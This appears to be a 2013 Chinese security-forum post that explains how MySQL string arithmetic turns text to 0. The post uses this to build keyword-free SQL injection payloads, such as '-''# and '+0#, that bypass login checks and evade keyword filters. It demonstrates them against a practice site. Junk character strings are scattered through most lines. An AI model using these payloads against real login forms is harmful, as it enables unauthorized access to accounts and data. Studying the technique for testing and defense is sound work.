找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2607|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
$ g5 C6 r& z* f有以下表结构:
# ?7 Y9 ?3 {* S( K3 |! @
* Y" A1 p1 b& Lmysql> desc admin;& ?' k1 R, Q. n& d+ P
+----------+--------------+------+-----+---------+----------------+3 @8 K3 Z: g5 ^7 Z
| Field    | Type         | Null | Key | Default | Extra          |; m/ b% P# K( T+ j
+----------+--------------+------+-----+---------+----------------+
1 p4 k9 a  D; ?: s8 C  M- ^; ?1 h| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |  L  P+ k6 _; D( U$ C% S0 b
| name     | char(32)     | NO   | UNI | NULL    |                |, ~3 n+ L" _! v# f3 S& P1 @
| password | char(32)     | NO   | UNI | NULL    |                |3 }4 x: C& Y* x& v7 \4 D# Z
+----------+--------------+------+-----+---------+----------------+! B, n, W0 `& @
3 rows in set (0.00 sec)7 h! Z1 B1 A( S+ l5 e
执行select * from admin;,成功返回所有记录内容。
. I6 [4 ^  D1 N- |, S" p" Q8 G# m; \9 U) @0 e5 b4 d+ F, ?  f: n) ~

; }8 v/ M$ B9 [/ _+ r+----+--------+----------------------------------+4 {' {4 x) s6 R+ j. O
| id | name   | password                         |2 [; \7 I. [* M: b8 I' }
+----+--------+----------------------------------+0 p( |0 \3 }# w/ G- X3 m8 c
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |0 D( F# `- o  O" {. i
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |) |: \$ z7 P: w, p1 J8 A2 Z# {
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
: z3 c7 U$ O/ ^+----+--------+----------------------------------+8 w, Y- l6 Z) Y5 D" k/ l
3 rows in set (0.00 sec): G5 I7 g$ J. g9 e  F# H4 O
执行select * from admin where name=”;,没有匹配到任何记录。 % n* q) q% A; O9 n- r  }
& ^# n2 G! U7 Y: ^4 u- |: H, f' e
mysql> select * from admin where name = '';5 k( Y3 B, ?, Q4 ]- M( s0 b+ B
Empty set (0.00 sec)/ X& O' c9 x3 t1 b3 J/ ^2 u
那么我们来执行select * from admin where name = ”-”;
" l4 S0 E" D$ y- ]
+ d7 d9 W4 t6 D) V9 F* |8 D% N8 t9 _' P6 V
+----+--------+----------------------------------+% S; ^& Q7 W6 o7 h0 m) Z/ W3 W
| id | name   | password                         |
4 J- e0 Q- i( r4 w+----+--------+----------------------------------+
8 x7 H) p% F3 _+ J5 Z  K$ `$ M|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |) @6 s: l0 ?0 |9 |2 V( T( }6 J
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
# D% B6 U0 [1 `7 c* n|  4 | n00b   | ff80e8508d39047460921792273533a4 |
6 r" \) @/ l! @  z. ?! [. x2 |, M" p+----+--------+----------------------------------+
! I" a( u3 c& P, C1 h3 rows in set, 3 warnings (0.00 sec)  L) m& T. g6 F7 p9 Y; {
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: - N: n$ e/ |0 r( ]5 s
3 m+ f# J* E. j: p  z  F. R" x' S! ?9 t
mysql> show warnings;5 A' G, V8 }5 g; v& w! i1 C
+---------+------+------------------------------------------) W: R: F4 A9 h  t; x( J
| Level   | Code | Message' B, m5 g2 a& j
+---------+------+------------------------------------------
7 P% w2 i: z0 L4 i| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
* ?& X; @( G; ?1 f: Z" O| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
! k" |9 {0 O% |" n* D| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
8 f: c* H1 _. u/ `3 f' E2 Y9 Y+---------+------+------------------------------------------
- n3 o7 o; w2 m4 J& ]3 rows in set (0.00 sec)
  {; ?, w: o% {* V% U提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 4 L1 U# Z! d$ Q3 v6 d- n
2 N4 w* R, U3 r3 t  u
mysql> select ''-'';
* a& c* j. a( k6 G% w8 A+-------+1 H6 c% u- o* m" R6 q) _0 ]% `( m
| ''-'' |
( v9 O- Q& y( H/ u+-------+* \; ^! ]  H0 b1 G
|     0 |
7 `0 t1 G9 J. T5 ^4 `2 A. b+-------+" K3 N% t9 X% q. P$ R* m2 u
1 row in set (0.00 sec)% p3 k$ u0 q; c: }* \6 a! H
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 1 J+ b( [9 y7 }$ ]) h
2 u0 P) P4 a* @
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);7 S4 O2 G% z3 a$ T+ D
+-----------------------------------------------------+
7 c! ]- |  X# T) E% j| CAST((select name from admin limit 1,1) as DECIMAL) |
7 s  H' l  P2 q+ F! }! u3 N+-----------------------------------------------------+( F/ E* A0 @8 \/ L& }4 `! C
|                                                   0 |
# d' K  ^  k0 P+-----------------------------------------------------++ F) N# Q6 ]3 F8 r
1 row in set, 1 warning (0.00 sec)3 o! |: M" Q9 a% ]6 [5 F* U  r0 F: J
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
; n) O/ s) D7 V* E- _9 S* U9 A7 N5 e, T7 C
SQL注入场景: http://www.sqlzoo.net/hack/ 3 q1 j+ r) \& u0 w7 j5 n

" K* f' E5 A) {6 A/ Y7 H" E0 W7 }# f3 i  }" n

/ l6 c, `7 k9 `- z% y) {% w' O" t) A. u% c$ `2 X
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 / ~* ~- M. |/ o2 {

/ p3 D! I/ q& r; z: H8 |那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
$ Y  f' s" `' i3 b3 e1 {- c1 ~* O; h
# d  K/ D) _! {1 w8 _& G6 ^$ U) u& t7 Z  ?

( v" Q: ?# J" k/ C1 c# ]
$ S$ e- r7 L! V( l: `) b仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
, U# `- P( M0 ?$ w+ u& Z/ W, _
5 z5 n3 Q! \6 z5 e' A6 f   ' a$ _, d. N+ f. e$ m% a) d

7 U; n% i, l4 M" ]除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可; \- G+ o3 U/ z! ]

* |7 k+ g) z1 `" I& ^1 {/ [1 d% e% E& u1 ~1 {$ c+ Y1 B+ e0 x6 U
mysql> select ''/1;
# o$ J1 N3 Z" A3 @+------+
. q7 C, X- V) @3 w| ''/1 |( P% N' `3 J) i" Z
+------+
4 v8 ~- c4 R( B5 q+ i|    0 |
4 `0 k% Y; _" ^( I& J; l+ N+------+
( i2 x( r) _# S1 row in set (0.00 sec)/ T* j! q3 Z; p6 E
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
3 l, R) J+ P' ]. I& G3 d" P% ~! [9 A2 P+ y
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
& {" o; B  {; b. N/ k  }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表